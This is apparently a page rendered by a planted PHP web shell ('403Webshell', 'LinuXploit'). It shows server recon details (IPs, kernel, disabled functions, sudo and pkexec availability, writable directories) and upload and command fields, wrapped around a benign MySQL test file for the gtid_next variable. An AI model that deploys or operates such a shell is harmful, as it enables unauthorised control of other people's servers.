403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.189.47
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/sys_vars/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/sys_vars/t/gtid_next_basic.test
--source include/not_embedded.inc
--source include/not_gtid_enabled.inc

SET @start_global_value = @@session.gtid_next;
SELECT @start_global_value;

#
# exists as session only
#
--error ER_INCORRECT_GLOBAL_LOCAL_VAR
select @@global.gtid_next;
select @@session.gtid_next;
show global variables like 'gtid_next';
show session variables like 'gtid_next';
--disable_warnings
select * from information_schema.global_variables where variable_name='gtid_next';
select * from information_schema.session_variables where variable_name='gtid_next';
--enable_warnings

#
# show that it is writable
#
--error ER_LOCAL_VARIABLE
set global gtid_next = 1;
set session gtid_next = "ANONYMOUS";
select @@session.gtid_next;

#
# Show that one can set it to default
#
ROLLBACK;
set session gtid_next=default;
select @@session.gtid_next;

#
# Show that one cannot set it to NULL
#
ROLLBACK;
--error ER_WRONG_VALUE_FOR_VAR
set session gtid_next=NULL;
select @@session.gtid_next;

#
# Bug #20753378  ASSERTION `GTID_NEXT->TYPE != AUTOMATIC_GROUP || THD->OWNED_GTID.IS_EMPTY()'
#
# Setting SESSION.GTID_NEXT=default right after setting
# SESSION.GTID_NEXT='ANONYMOUS' causes an error
# 'ER_CANT_SET_GTID_NEXT_WHEN_OWNING_GTID', but this
# changed gtid_next type from 'ANONYMOUS' to 'AUTOMATIC'.
# So that the next transaction causes the above assertion error.
#
# Setting SESSION.GTID_NEXT=default should not change the
# gtid_next type if it causes an error.
#
# Steps to reproduce:
#  1) Set @@SESSION.GTID_NEXT to ANONYMOUS.
#  2) Set @@SESSION.GTID_NEXT to default to cause the
#     error ER_CANT_SET_GTID_NEXT_WHEN_OWNING_GTID.
#  3) Execute 'SELECT @@SESSION.GTID_NEXT' to verify there is no
#     assersion caused and gtid_next type is still ANONYMOUS.
#
SET @@SESSION.GTID_NEXT = 'ANONYMOUS';
--error ER_CANT_SET_GTID_NEXT_WHEN_OWNING_GTID
SET @@SESSION.GTID_NEXT = default;
# Verify that there is no assersion caused and
# gtid_next type is still ANONYMOUS.
SELECT @@SESSION.GTID_NEXT;

#
# restore original value
#
ROLLBACK;
set session gtid_next = @start_global_value;
select @@session.gtid_next;

#
# See rpl_gtid_execution.test for a comprehensive test case.
#

Youez - 2016 - github.com/yon3zu
LinuXploit